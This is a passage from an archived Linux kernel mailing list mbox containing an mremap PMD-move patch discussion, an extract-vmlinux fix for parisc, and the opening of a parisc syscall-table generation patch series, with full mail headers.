	List-Owner; bh=a/zypxRt4u9HeE4YG4/v/j0pjNQpmj0Y5dp6iNWBkaM=; b=uBGd1ZcMQXYeEm
	Ncmbm7nNx15mBYW4N7F2rjRd6ZoBzJy/XrTQXBR4cwxJyRYb7MYe08yUGHIDtu62dAOc+DCZ4bxmh
	oAWzAhNmm4anw8wrFsupfYQuS9aC1GqjD/JnXQkiyJTCPphyk2BDmX5zMOXCC3Jg5sbzs5w0hZPCx
	LDQYRfVbOG70BPNuKpkGY5DCKwcF7YqVkgy/PWJQgBo0AIcsOo5if4/Kq/7c4VQDvvtb7nhXpbQmj
	KZ/VEWkrh+NnFhaOpzGRDnXzEKUAWGLAf/Zq/p0Nu+g+rB1JpTDGvoOr+5JdsGiQ4Tjf5GOPvNsUb
	v32bt1aARQreTXx6LeVg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gCEnh-0005kY-GE; Tue, 16 Oct 2018 02:09:37 +0000
Original-Received: from mail-pg1-x544.google.com ([2607:f8b0:4864:20::544])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gCEnE-0005OC-5g
 for linux-riscv@lists.infradead.org; Tue, 16 Oct 2018 02:09:29 +0000
Original-Received: by mail-pg1-x544.google.com with SMTP id t70-v6so10035975pgd.12
 for <linux-riscv@lists.infradead.org>; Mon, 15 Oct 2018 19:08:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=Cz67bHFDMvGJFAPVrnGd7nRR9VaEfFbq9lmMgtQ7ALI=;
 b=Ok8PoT2K5GRd0KamvoP9eqKuZhLNGS9A/TQQUFKNVaiKMTPdWZBOlKBJnP/SBNp0fB
 eaNg0TIhicPK/28Gv9xiSnJPwjChRHhy71Hj8UEp7IXgBHdi4gGzcrB8K+qvQHybEgT/
 4RZeGqEX+CUKeDt+Zqt+rRqDUsxY24+s4U2g8=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=Cz67bHFDMvGJFAPVrnGd7nRR9VaEfFbq9lmMgtQ7ALI=;
 b=jyccON+9pTWpaeQ47azzdqPk8kTKv6gG+SFmJWnx3iATQ//HnOFxb3hOTJOCEuGyyS
 /wViIASKLzEQz/3etW8uuuSeqk1XzVYEsi3Zw5jaariJ2RfIesa6ioxfLWyysYEYdHEA
 TReMPeeH3XCmFYE5JvayirUuUAc5hYe1ZWIsP64grcsyDpfBrnOx+qsSsc65ZuqhWqv0
 u9lGioIZknZZKJgvg9eVCOM2oPcZDXmM+uNKsSfk6H62onhbCbb06VfB/8FRE2zKOYcR
 eOREkycdoS6ZW0pz4CKAAgerZj2gQLJUIjAfiEtmLsD5HoGrsCj3plnEm3RDBv+ULABx
 h7nw==
X-Gm-Message-State: ABuFfog58LV1mljMp9gxfwygI66ouA+il4tYl2RweorPxyY9GUN5yEaS
 ZKZU1pgzFhGPHAmCe4STRkE59w==
X-Google-Smtp-Source: ACcGV61tXshD0kdUz1rx/VWy95C7tPdFHs9NIxbQ7U95KgElxYyhNYgyjAz7jKjVcYQ4X5DlhOsyjw==
X-Received: by 2002:a62:6643:: with SMTP id
 a64-v6mr19935671pfc.202.1539655735629; 
 Mon, 15 Oct 2018 19:08:55 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id m15-v6sm19964319pgt.28.2018.10.15.19.08.53
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Mon, 15 Oct 2018 19:08:54 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181015101814.306d257c@mschwideX1>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181015_190908_317437_C07725AE 
X-CRM114-Status: GOOD (  36.11  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:544 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1109 gmane.linux.ports.mips.general:67111 gmane.linux.ports.ia64:29413 gmane.linux.ports.sh.devel:57667 gmane.linux.kernel.mm:205372 gmane.linux.ports.sparc:28589 gmane.linux.ports.hexagon:1933 gmane.comp.emulators.kvm.arm.devel:19495 gmane.linux.kernel.arc:4562 gmane.linux.ports.arm.kernel:679822 gmane.linux.ports.parisc:29193 gmane.linux.kernel:2899869 gmane.linux.ports.alpha:5339 gmane.linux.ports.ppc64.devel:164445
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1109>

On Mon, Oct 15, 2018 at 10:18:14AM +0200, Martin Schwidefsky wrote:
> On Mon, 15 Oct 2018 09:10:53 +0200
> Christian Borntraeger <borntraeger@de.ibm.com> wrote:
> 
> > On 10/12/2018 03:37 AM, Joel Fernandes (Google) wrote:
> > > Android needs to mremap large regions of memory during memory management
> > > related operations. The mremap system call can be really slow if THP is
> > > not enabled. The bottleneck is move_page_tables, which is copying each
> > > pte at a time, and can be really slow across a large map. Turning on THP
> > > may not be a viable option, and is not for us. This patch speeds up the
> > > performance for non-THP system by copying at the PMD level when possible.
> > > 
> > > The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> > > completion times drops from 160-250 millesconds to 380-400 microseconds.
> > > 
> > > Before:
> > > Total mremap time for 1GB data: 242321014 nanoseconds.
> > > Total mremap time for 1GB data: 196842467 nanoseconds.
> > > Total mremap time for 1GB data: 167051162 nanoseconds.
> > > 
> > > After:
> > > Total mremap time for 1GB data: 385781 nanoseconds.
> > > Total mremap time for 1GB data: 388959 nanoseconds.
> > > Total mremap time for 1GB data: 402813 nanoseconds.
> > > 
> > > Incase THP is enabled, the optimization is skipped. I also flush the
> > > tlb every time we do this optimization since I couldn't find a way to
> > > determine if the low-level PTEs are dirty. It is seen that the cost of
> > > doing so is not much compared the improvement, on both x86-64 and arm64.
> > > 
> > > Cc: minchan@kernel.org
> > > Cc: pantin@google.com
> > > Cc: hughd@google.com
> > > Cc: lokeshgidra@google.com
> > > Cc: dancol@google.com
> > > Cc: mhocko@kernel.org
> > > Cc: kirill@shutemov.name
> > > Cc: akpm@linux-foundation.org
> > > Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
> > > ---
> > >  mm/mremap.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++
> > >  1 file changed, 62 insertions(+)
> > > 
> > > diff --git a/mm/mremap.c b/mm/mremap.c
> > > index 9e68a02a52b1..d82c485822ef 100644
> > > --- a/mm/mremap.c
> > > +++ b/mm/mremap.c
> > > @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
> > >  		drop_rmap_locks(vma);
> > >  }
> > >  
> > > +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> > > +		  unsigned long new_addr, unsigned long old_end,
> > > +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> > > +{
> > > +	spinlock_t *old_ptl, *new_ptl;
> > > +	struct mm_struct *mm = vma->vm_mm;
> > > +
> > > +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > > +	    || old_end - old_addr < PMD_SIZE)
> > > +		return false;
> > > +
> > > +	/*
> > > +	 * The destination pmd shouldn't be established, free_pgtables()
> > > +	 * should have release it.
> > > +	 */
> > > +	if (WARN_ON(!pmd_none(*new_pmd)))
> > > +		return false;
> > > +
> > > +	/*
> > > +	 * We don't have to worry about the ordering of src and dst
> > > +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> > > +	 */
> > > +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> > > +	if (old_ptl) {
> > > +		pmd_t pmd;
> > > +
> > > +		new_ptl = pmd_lockptr(mm, new_pmd);
> > > +		if (new_ptl != old_ptl)
> > > +			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
> > > +
> > > +		/* Clear the pmd */
> > > +		pmd = *old_pmd;
> > > +		pmd_clear(old_pmd);  
> > 
> > Adding Martin Schwidefsky.
> > Is this mapping maybe still in use on other CPUs? If yes, I think for
> > s390 we need to flush here as well (in other word we might need to introduce
> > pmd_clear_flush). On s390 you have to use instructions like CRDTE,IPTE or IDTE
> > to modify page table entries that are still in use. Otherwise you can get a 
> > delayed access exception which is - in contrast to page faults - not recoverable.
> 
> Just clearing an active pmd would be broken for s390. We need the equivalent
> of the ptep_get_and_clear() function for pmds. For s390 this function would
> look like this:
> 
> static inline pte_t pmdp_get_and_clear(struct mm_struct *mm,
>                                        unsigned long addr, pmd_t *pmdp)
> {
>         return pmdp_xchg_lazy(mm, addr, pmdp, __pmd(_SEGMENT_ENTRY_INVALID));
> }
> 
> Just like pmdp_huge_get_and_clear() in fact.

I agree architecture like s390 may need additional explicit instructions to
avoid any unrecoverable failure. So the good news is in my last patch I sent, I
have put this behind an architecture flag (HAVE_MOVE_PMD), so we don't have
to enable it with architectures that cannot handle it:
https://www.spinics.net/lists/linux-mm/msg163621.html

Also we are triggering this optimization only if the page is not a transparent
huge page by calling pmd_trans_huge(). For regular pages, it should be safe to
not do the atomic get_and_clear AIUI because Linux doesn't use any bits from
the PMD like the dirty bit if THP is not in use (and the processors that I
saw (not s390) should not storing anything in the bits anyway when the page
is not a huge page. I have gone through various scenarios and read both arm
32-bit and 64-bit and x86 64-bit manuals, and I believe it to be safe.

For s390, lets not set the HAVE_MOVE_PMD flag. Does that work for you?

> > > +
> > > +		VM_BUG_ON(!pmd_none(*new_pmd));
> > > +
> > > +		/* Set the new pmd */
> > > +		set_pmd_at(mm, new_addr, new_pmd, pmd);
> > > +		if (new_ptl != old_ptl)
> > > +			spin_unlock(new_ptl);
> > > +		spin_unlock(old_ptl);
> > > +
> > > +		*need_flush = true;
> > > +		return true;
> > > +	}
> > > +	return false;
> > > +}
> > > +
> 
> So the idea is to move the pmd entry to the new location, dragging
> the whole pte table to a new location with a different address.
> I wonder if that is safe in regard to get_user_pages_fast().

Could you elaborate why you feel it may not be?

Are you concerned that the PMD moving interferes with the page walk? Incase
the tree changes during page-walking, the number of pages pinned by
get_user_pages_fast may be less than the number requested. In this case,
get_user_pages_fast would fall back to the slow path which should be
synchronized with the mremap by courtesy of the mm->mmap_sem. But please let
me know the scenario you have in mind and if I missed something.

thanks,

 - Joel

From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] extract-vmlinux: Check for uncompressed image as fallback
Date: Tue, 16 Oct 2018 08:03:24 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20181016060324.GA10928@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1539669701 9147 195.159.176.226 (16 Oct 2018 06:01:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 06:01:41 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Adam Borowski <kilobyte@angband.pl>,
        Masahiro Yamada <yamada.masahiro@socionext.com>,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 16 08:01:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCIQC-0002Ib-GD
	for glk-linux-kernel-4@m.gmane.org; Tue, 16 Oct 2018 08:01:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727334AbeJPNw2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 16 Oct 2018 09:52:28 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:58523 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726986AbeJPNw0 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 16 Oct 2018 09:52:26 -0400
Original-Received: from ls3530.fritz.box ([92.116.157.151]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LqV4f-1fhLLV1ue9-00e7MK; Tue, 16
 Oct 2018 08:03:28 +0200
Original-Received: from ls3530.fritz.box ([92.116.157.151]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LqV4f-1fhLLV1ue9-00e7MK; Tue, 16
 Oct 2018 08:03:28 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:3LD6VWcVSZLWL9kuwnFJZhNhrNSuerLp3xcpjk6M0bROoS7bkDx
 DjAyy4TPKpG4f2pKNwA6qIFLc5cIYqQUmx7bRBVugRNJigH86uTSWklsSNYr1sBp4cEuMx+
 ZZPZdAkJ8U3BOu5z7SMx/36CdpbViNNd0bifOIi5dkykwpgv0nDKBEG+/yOOJGDNMgACV5o
 TytuCsc/b+Yu1raOm3M/Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:tJQ9YFWuCMM=:k2DJmOJRH6aGUhJZmxPCxr
 2lzUooxp+IhDQDNpSwtwXM6LN1BL2HVUCxak5EmOxLEZ+Xg57xplbsLw9AgGuM+EihRNw7HE+
 sZME1sdYRDwPLj8ix/bCZkwTM4IDQUeQ3/gsqt8iNv68UvuET00Bk8ao4+K7Jj+0mq3YKpGAR
 sh77dt1FgGYqepSpH2OFQipcEqXbURoJktP8e2zKuGUDXbZmCfqfdtAFZgqveb25Ylu/oeUUa
 q5EgSTdvgNDxrICRvSoBKOzmNsCkK2gtSJZNsVIiSxdMy/dSIfC4bQsngq1g+9DBzVH0Vgx/3
 /vXBcyyaTtXS+4pr+BFAtUG9EAnrD5w7AcT8qkVt0MJ6Ntevaiul65UB84Gxssbn9EiRm2CZA
 leY4xU5au1mC8uorKXtvLc0X5+6bI73oeyVQ0aaNUbQobdsk+ktTxwa7QsoKXF+llePbI87UC
 O/jSMjuRCGYnHRd5nOiydcvh/3cpb8s8VV0wVTXLNaE8WfMr/edGtH+4VDPHcZMMCu4I9h8Nk
 P41gnzf3jHd6BsHSV7ztqtAH4D/oOd7+4RsAdRmhVlkl1A4kkiYGNdgwzJpmAr27vDHoUDvFU
 XgKf4rCg4GoA0ZBDvzQyC66h1zwEmto83wMrukFQQVPiIthCiAZ5CgARlPT3sHlr8x75KBKX0
 oVJaMm5oS7yBo3zeFwuo8UWH4tl/ltx5F5x77kDj9y6tCJDEo3wdQR1O/pk43yHOoRnwNOeZz
 GVj4Le4pIjhDDKtkje4zgNlph33THZgb4+J0WI6dA88TUrS54FAmHF+WTgRJCr/n9gRL+4OO 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2900247 gmane.linux.ports.parisc:29194
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2900247>

As on x86-64 and other architectures, the boot kernel on parisc (vmlinuz
and bzImage) contains a full compressed copy of the final kernel
executable (vmlinux.bin.gz), which one should be able to extract with
the extract-vmlinux script.

But on parisc extracting the kernel with extract-vmlinux fails.
Currently the script first checks if the given file is an ELF file
(which is true on parisc) and if so returns it.  Thus on parisc we
unexpectedly get back the vmlinuz boot file instead of the uncompressed
vmlinux image.

This patch fixes this issue by reverting the logic. It now first tries
to find a compression signature in the given file and if that fails it
checks the file itself as fallback.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/scripts/extract-vmlinux b/scripts/extract-vmlinux
index e6239f39abad..85e1f32fb4a0 100755
--- a/scripts/extract-vmlinux
+++ b/scripts/extract-vmlinux
@@ -48,9 +48,6 @@ fi
 tmp=$(mktemp /tmp/vmlinux-XXX)
 trap "rm -f $tmp" 0
 
-# Initial attempt for uncompressed images or objects:
-check_vmlinux $img
-
 # That didn't work, so retry after decompression.
 try_decompress '\037\213\010' xy    gunzip
 try_decompress '\3757zXZ\000' abcde unxz
@@ -60,5 +57,8 @@ try_decompress '\211\114\132' xy    'lzop -d'
 try_decompress '\002!L\030'   xxx   'lz4 -d'
 try_decompress '(\265/\375'   xxx   unzstd
 
+# Finally check for uncompressed images or objects:
+check_vmlinux $img
+
 # Bail out:
 echo "$me: Cannot find vmlinux." >&2


From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 0/5] parisc: system call table generation support
Date: Tue, 16 Oct 2018 12:33:33 +0530
Lines: 67
Approved: news@gmane.org
Message-ID: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539673327 21617 195.159.176.226 (16 Oct 2018 07:02:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 07:02:07 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 16 09:02:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCJMd-0005RC-AI
	for glk-linux-kernel-4@m.gmane.org; Tue, 16 Oct 2018 09:01:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727723AbeJPOxH (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 16 Oct 2018 10:53:07 -0400
Original-Received: from mail-pl1-f196.google.com ([209.85.214.196]:37316 "EHLO
        mail-pl1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727657AbeJPOxH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 16 Oct 2018 10:53:07 -0400
Original-Received: by mail-pl1-f196.google.com with SMTP id u6-v6so7790853plz.4
        for <linux-kernel@vger.kernel.org>; Tue, 16 Oct 2018 00:04:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id;
        bh=Ffx2fMYSIeCCcmgyJEPi5xzZbXkmRa4EBKemIRYpIXA=;
        b=OawJXb+RSnFgQWFFkpCMsiMDWsU5MSM9ukUDehkmPeECvKlIRV6tvSgGBWNByaXv7+
         S7mk8OuNf4xdCQQTW9fFYv2HEV4oDzgUlMsVLpUgt/LmUEzLja+qIdrx6VH5YmFM8gBx
         6IOQeQpQ46U5x1ju7SfI9sHRH6R655CNQSl2k=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=Ffx2fMYSIeCCcmgyJEPi5xzZbXkmRa4EBKemIRYpIXA=;
        b=SlXetyBCYrSS5rXL0NEbi8t9N0o+SBPHnnmc9b2i0W16aMTi5T82C/e3czE67PTc0c
         MJwp9Ha7qy7iKDeXky3CgP/w16+IqbZrRoAGPUAbjV2ElizIe3grIZsi1tepd0LCer85
         zMSx7je3HBxj+mu70vDZ09wsqn5guHbcJOQGVstOxCU0x6UXiQKQB1JN/keDbEMPU6PC
         or+h7Oi93K2lA21p3ND7DbClCz5iINr43zORrpPqAfO3PIkYxf2U3XiOePpAQAH6DBj8
         cskCLKr6GiuY4ttlNOemcpeVBYYCPJV0OX/eYTZ71l41tj1RwpF9Z8Uj7g2bsVFQbg8j
         Dl+w==
X-Gm-Message-State: ABuFfoiD3pcR7qJous46kg4aJwWMwxd2/+EwkYt1Bub3YsD/6NUq9MfI
        3TgbmrI1caX+t8otLTwt4UYmdQ==
X-Google-Smtp-Source: ACcGV6266u4+HjJaoIKRwkQV7HgJHbd/M4DmUk1Vd1f+XqpD/MsLAKkGQvN4cZLUFjGwfUM7Zh2kVw==
X-Received: by 2002:a17:902:bb07:: with SMTP id l7-v6mr9180041pls.252.1539673447265;
        Tue, 16 Oct 2018 00:04:07 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id u21-v6sm21775107pfa.176.2018.10.16.00.04.01
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 16 Oct 2018 00:04:06 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2900268 gmane.linux.ports.parisc:29195 gmane.linux.kernel.year-2038:3530 gmane.linux.kernel.cross-arch:47862
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2900268>

The purpose of this patch series is, we can easily add/modify/delete
system call table support by changing entry in syscall.tbl file 
instead of manually changing many files. The other goal is to unify 
the system call table generation support implementation across all 
the architectures. 

The system call tables are in different format in all architecture. It
will be difficult to manually add, modify or delete the system calls
in the respective files manually. To make it easy by keeping a script 
and which'll generate uapi header file and syscall table file.

syscall.tbl contains the list of available system calls along with 
system call number and corresponding entry point. Add a new system 
call in this architecture will be possible by adding new entry in 
the syscall.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
        - Compat entry name, if required.

ARM, s390 and x86 architecuture does exist the similar support. I 
leverage their implementation to come up with a generic solution.

I have done the same support for work for alpha, microblaze, sparc,
m68k, mips, powerpc, sh, sparc, and xtensa. But I started sending 
the patch for one architecuture for review. Below mentioned git
repository contains more details.
Git repo:- https://github.com/frzkhn/system_call_table_generator/

Finally, this is the ground work for solving the Y2038 issue. We 
need to add two dozen of system calls to solve Y2038 issue. So this
patch series will help to add new system calls easily by adding new
entry in the syscall.tbl.

Firoz Khan (5):
  parisc: move __IGNORE* entries to non uapi header
  parisc: add __NR_syscalls along with __NR_Linux_syscalls
  parisc: add system call table generation support
  parisc: uapi header and system call table file generation
  parisc: syscalls: ignore nfsservctl for other architectures

 arch/parisc/Makefile                      |   4 +
 arch/parisc/include/asm/Kbuild            |   3 +
 arch/parisc/include/asm/unistd.h          |   8 +
 arch/parisc/include/uapi/asm/Kbuild       |   2 +
 arch/parisc/include/uapi/asm/unistd.h     | 382 +------------------------
 arch/parisc/kernel/syscall.S              |  10 +-
 arch/parisc/kernel/syscall_table.S        | 459 ------------------------------
 arch/parisc/kernel/syscalls/Makefile      |  57 ++++
 arch/parisc/kernel/syscalls/syscall.tbl   | 369 ++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh |  34 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh |  36 +++
 scripts/checksyscalls.sh                  |   1 +
 12 files changed, 529 insertions(+), 836 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

-- 
1.9.1



From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 1/5] parisc: move __IGNORE* entries to non uapi header
Date: Tue, 16 Oct 2018 12:33:34 +0530
Lines: 57
Approved: news@gmane.org
Message-ID: <1539673418-7279-2-git-send-email-firoz.khan@linaro.org>
References: <1539673418-7279-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539673330 21866 195.159.176.226 (16 Oct 2018 07:02:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 07:02:10 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 16 09:02:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gCJMi-0005XK-K0
	for glk-linux-kernel-4@m.gmane.org; Tue, 16 Oct 2018 09:02:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727788AbeJPOxN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 16 Oct 2018 10:53:13 -0400
Original-Received: from mail-pl1-f194.google.com ([209.85.214.194]:42435 "EHLO
        mail-pl1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727657AbeJPOxM (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 16 Oct 2018 10:53:12 -0400
Original-Received: by mail-pl1-f194.google.com with SMTP id c8-v6so10518840plo.9
        for <linux-kernel@vger.kernel.org>; Tue, 16 Oct 2018 00:04:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=KU6DXIIYUjCMDre4JgDcgc8e7hiA/7vLtU/zXJn/n5E=;
        b=cq1H+3rog/MGkmoVEHo1HyK+notT9Hrc9j6PhcK11KQ+aG6SB0VadnNb5h1R+YTVfv
         5ttIYFuslE6Y8RhThcJpJTH+QAeayrxrTZVuYo76fupdGBnw6S26NrzW+m4cdt79eI1X
         N5SUCZLR0PYSBLgUQX1slJDwQ8TQkzuuDkvW4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
